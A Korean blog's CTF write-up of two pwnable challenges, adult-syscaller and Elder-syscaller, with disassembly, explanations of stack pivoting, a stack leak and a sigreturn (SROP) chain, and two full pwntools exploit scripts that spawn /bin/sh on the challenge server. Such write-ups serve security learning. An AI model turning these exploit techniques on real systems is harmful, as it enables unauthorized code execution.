2022 Cyberguardians CTF Final

msh1307·2022년 11월 3일
0

Writeups

목록 보기
5/15
post-thumbnail

adult-syscaller


64비트 바이너리가 주어진다.
저번에 예선때 나왔던 baby-syscaller의 후속 버전인 것 같다.

Analysis

statically linked 바이너리이다.
함수는 두개만 존재한다.

__int64 start()
{
  char v1[8]; // [rsp+8h] [rbp-8h] BYREF

  read(0, v1, 0x64u);
  return 0LL;
}

start 함수의 모습이다.
사실 도움은 안되니까 어셈블리어로 확인해보면,

.text:0000000000401028
.text:0000000000401028 ; =============== S U B R O U T I N E =======================================
.text:0000000000401028
.text:0000000000401028 ; Attributes: bp-based frame
.text:0000000000401028
.text:0000000000401028                 public _start
.text:0000000000401028 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401028
.text:0000000000401028 var_8           = byte ptr -8
.text:0000000000401028
.text:0000000000401028 ; __unwind {
.text:0000000000401028                 endbr64
.text:000000000040102C                 push    rbp
.text:000000000040102D                 mov     rbp, rsp
.text:0000000000401030                 sub     rsp, 10h
.text:0000000000401034                 lea     rax, [rbp+var_8]
.text:0000000000401038                 mov     edx, 64h ; 'd'
.text:000000000040103D                 mov     rsi, rax
.text:0000000000401040                 mov     edi, 0
.text:0000000000401045                 call    read
.text:000000000040104A                 mov     eax, 0
.text:000000000040104F                 leave
.text:0000000000401050                 retn
.text:0000000000401050 ; } // starts at 401028
.text:0000000000401050 _start          endp
.text:0000000000401050
.text:0000000000401050 _text           ends
.text:0000000000401050

위와 같다.

signed __int64 __fastcall read(unsigned int a1, char *a2, unsigned int a3)
{
  return sys_read(a1, a2, a3);
}

read 함수의 모습이다.
이것도 도움은 안되니 어셈블리어로 확인하면 아래와 같다.

.text:0000000000401000
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000 ; Attributes: bp-based frame
.text:0000000000401000
.text:0000000000401000 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401000                 public read
.text:0000000000401000 read            proc near               ; CODE XREF: _start+1D↓p
.text:0000000000401000                                         ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf             = qword ptr -10h
.text:0000000000401000 count           = qword ptr -8
.text:0000000000401000
.text:0000000000401000 ; __unwind {
.text:0000000000401000                 endbr64
.text:0000000000401004                 push    rbp
.text:0000000000401005                 mov     rbp, rsp
.text:0000000000401008                 mov     dword ptr [rbp+count+4], edi
.text:000000000040100B                 mov     [rbp+buf], rsi
.text:000000000040100F                 mov     dword ptr [rbp+count], edx
.text:0000000000401012                 mov     eax, 0
.text:0000000000401017                 mov     ecx, dword ptr [rbp+count+4]
.text:000000000040101A                 mov     rsi, [rbp+buf]  ; buf
.text:000000000040101E                 mov     edx, dword ptr [rbp+count] ; count
.text:0000000000401021                 mov     edi, ecx        ; fd
.text:0000000000401023                 syscall                 ; LINUX - sys_read
.text:0000000000401025                 nop
.text:0000000000401026                 pop     rbp
.text:0000000000401027                 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read            endp
.text:0000000000401027

예선에서 나왔던 baby-syscaller와 다르게 helper를 통해 가젯이 제공되지 않는다.


baby-syscaller 처럼 rw 권한이 있는 세그먼트가 존재한다.

Exploitation

.text:0000000000401021                 mov     edi, ecx        ; fd
.text:0000000000401023                 syscall                 ; LINUX - sys_read
.text:0000000000401025                 nop
.text:0000000000401026                 pop     rbp
.text:0000000000401027                 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read            endp

기본적으로 read 함수 내부에서 syscall 가젯을 찾을 수 있다.
pop rdi나 rsi 가젯은 찾을 수 없었다.
대신 rax는 sys_read의 리턴 값으로 컨트롤 할 수 있다.

read 함수가 0x64만큼 입력을 받기 때문에, 크기가 0xf8인 SigreturnFrame을 그냥 집어넣게 된다면 정상적으로 동작하지 않는다.
또한 /bin/sh의 주소를 특정할 수 없다는 문제도 있다.

그러면 rw 세그먼트로 stack pivoting을 진행해서 /bin/sh의 주소를 특정할 수 있도록 하면 된다.

SigreturnFrame을 쪼개서 저장하고, pivoting으로 옮기기에는 호출되는 함수들이 sub rsp를 통해서 내려가고, leave ret 등으로 인해서 페이로드가 덮혀서 시도하기에는 힘들다고 판단했다.

그래서 read 함수 내부 루틴중, 아래 루틴을 이용해서 edi, rsi, edx 레지스터에 조작된 값을 넣어서 SigreturnFrame을 삽입할 수 있도록 했다.

.text:0000000000401017                 mov     ecx, [rbp-4]
.text:000000000040101A                 mov     rsi, [rbp-10h]  ; buf
.text:000000000040101E                 mov     edx, [rbp-8]    ; count
.text:0000000000401021                 mov     edi, ecx        ; fd
.text:0000000000401023                 syscall                 ; LINUX - sys_read
.text:0000000000401025                 nop
.text:0000000000401026                 pop     rbp
.text:0000000000401027                 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read            endp
.text:0000000000401027

read 함수 내부에서는 rdi, rsi, rdx 레지스터의 값들을 지역 변수로 옮기고 위 로직이 실행되면서, syscall을 부르게 된다.

이걸 이용해서 적당히 rbp를 조작하고, 나머지 레지스터들도 조작할 수 있다.

from pwn import *
context.binary = './prob'
e = ELF('./prob')
#p = process('./prob')
p =remote('host3.dreamhack.games',16310)
syscall_pop_ret = 0x401023
read = 0x401000
ret = 0x0000000000401027
start = 0x401028
start_1= 0x000000000401034
leave_ret = 0x000000000040104f



s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)

context.log_level='debug'

pay = b'A'*8
pay += p64(0x404400) 
pay += p64(start_1) #start
s(pay)

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x404538
frame.rsp  = 0x404438 
frame.rbp = 0x404438
frame.rip = syscall_pop_ret
# 0x69 : 0x0

# 3E * 4 -> 0xf8
pause()
pay = p64(0) #pay
pay += p64(0x404438)
pay += p64(ret)
pay += p64(ret)
pay += p64(ret)
pay += p64(0x401017)
pay += p64(0x404418)
pay += p64(0xffffffff)
pay += b'/bin/sh\x00'

s(pay)
bin_sh = 0x404438
pay = b'A'*0x18
pay += p64(0x401000)
pay += p64(syscall_pop_ret)
pay += bytes(frame)
pay += b'/bin/sh\x00'
pause()
s(pay)
sleep(0.1)
s(b'A'*15)
p.interactive()

flag : DH{6fc8d219bb7cb57f350a3a3a1b4b33733b188b9fa75b3bbebe945ca63cede4a9}

Elder-syscaller


64 비트 바이너리가 주어진다.
adult-syscaller의 후속 버전 같다.

Analysis

adult-syscaller와 거의 대부분이 일치한다.

.text:0000000000401028
.text:0000000000401028 ; =============== S U B R O U T I N E =======================================
.text:0000000000401028
.text:0000000000401028 ; Attributes: bp-based frame
.text:0000000000401028
.text:0000000000401028                 public _start
.text:0000000000401028 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401028
.text:0000000000401028 var_8           = byte ptr -8
.text:0000000000401028
.text:0000000000401028 ; __unwind {
.text:0000000000401028                 endbr64
.text:000000000040102C                 push    rbp
.text:000000000040102D                 mov     rbp, rsp
.text:0000000000401030                 sub     rsp, 10h
.text:0000000000401034                 lea     rax, [rbp+var_8]
.text:0000000000401038                 mov     edx, 64h ; 'd'
.text:000000000040103D                 mov     rsi, rax
.text:0000000000401040                 mov     edi, 0
.text:0000000000401045                 call    read
.text:000000000040104A                 mov     eax, 0
.text:000000000040104F                 leave
.text:0000000000401050                 retn
.text:0000000000401050 ; } // starts at 401028
.text:0000000000401050 _start          endp
.text:0000000000401050
.text:0000000000401050 _text           ends
.text:0000000000401050

start 함수의 모습이다.

.text:0000000000401000
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000 ; Attributes: bp-based frame
.text:0000000000401000
.text:0000000000401000 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401000                 public read
.text:0000000000401000 read            proc near               ; CODE XREF: _start+1D↓p
.text:0000000000401000                                         ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf             = qword ptr -10h
.text:0000000000401000 count           = qword ptr -8
.text:0000000000401000
.text:0000000000401000 ; __unwind {
.text:0000000000401000                 endbr64
.text:0000000000401004                 push    rbp
.text:0000000000401005                 mov     rbp, rsp
.text:0000000000401008                 mov     dword ptr [rbp+count+4], edi
.text:000000000040100B                 mov     [rbp+buf], rsi
.text:000000000040100F                 mov     dword ptr [rbp+count], edx
.text:0000000000401012                 mov     eax, 0
.text:0000000000401017                 mov     ecx, dword ptr [rbp+count+4]
.text:000000000040101A                 mov     rsi, [rbp+buf]  ; buf
.text:000000000040101E                 mov     edx, dword ptr [rbp+count] ; count
.text:0000000000401021                 mov     edi, ecx        ; fd
.text:0000000000401023                 syscall                 ; LINUX - sys_read
.text:0000000000401025                 nop
.text:0000000000401026                 pop     rbp
.text:0000000000401027                 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read            endp
.text:0000000000401027

read 함수의 모습이다.

함수는 이 두개가 끝이다.

그런데 adult-syscaller와 다른 부분이 있다.

아까의 rw 세그먼트가 사라졌다.
stack만 rw를 가지게 된다.

Exploitation

아까와 흐름은 비슷하지만, 여기에선 특정할 수 있는 주소로 stack pivoting을 하지 못한다.

기본적으로 rdi, rsi 같은 레지스터들을 컨트롤 할 수 있는 가젯이 없기 때문에, sys_read로 rax만 컨트롤 할 수 있다.

그래서 rax를 1로 세팅해서 write syscall로 바꾸고, 기본적으로 pwntool process 같이 pipe로 연결되는 경우같은 것들을 제외하고 fd 0, 1, 2가 하나의 특정 PTY를 가리킨다는 점을 이용해서 sys_write를 해주면, stack의 env 부분을 leak 할 수 있다.
좀 더 rsi를 올려주게 되면, vdso도 구할 수 있게 되는데, 이때 sh\x00이 vdso에 있어서 이걸 이용하려다가 삽질을 했다.

그냥 스택 env 부분을 가져와서 충분히 빼주고, pivoting 해주고 adult-syscaller 처럼 해주면 된다.

from pwn import * 
e = ELF('./prob')
p = process('./prob',stdin=PTY,stdout=PTY,stderr=PTY)
p = remote('host3.dreamhack.games',20715)
syscall_pop_ret = 0x401023
read = 0x401000
ret = 0x0000000000401027
start = 0x401028
pop_rbp = 0x0000000000401026
start = 0x401028
start_1= 0x000000000401034
s = lambda x: p.send(x)
rv = lambda x: p.recv(x)
rvu = lambda x : p.recvuntil(x)
context.log_level='debug'

context.binary = './prob'

pay = b'A'*0x10
pay += p64(read)
pay += p64(syscall_pop_ret)
pay += p64(0)
pay += p64(start)
s(pay)
s(b'A')
rv(0x30)
recv= u64(rvu(b'\x7f').ljust(8,b'\x00'))-0x200
success('stack : '+hex(recv))


pay = b'A'*8
pay += p64(recv)
pay += p64(start_1)
sleep(0.1)
s(pay)

pause()
pay = p64(0) #pay
pay += p64(recv+0x38)
pay += p64(ret)
pay += p64(ret)
pay += p64(ret)
pay += p64(0x401017)
pay += p64(recv+0x18)
pay += p64(0xffffffff)
pay += b'/bin/sh\x00'

s(pay)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = recv + 0x138
frame.rsp  = recv+0x100 
frame.rbp = recv+0x100 
frame.rip = syscall_pop_ret

bin_sh = recv+0x38
pay = b'A'*0x18
pay += p64(0x401000)
pay += p64(syscall_pop_ret)
pay += bytes(frame)
pay += b'/bin/sh\x00'
pause()
s(pay)
sleep(0.1)
s(b'A'*15)

p.interactive()

flag : DH{c459cfc8aa4b99e63bf69f323916f87752ff0a142f6a2a18f290580dc75876f1}

profile
https://msh1307.kr

0개의 댓글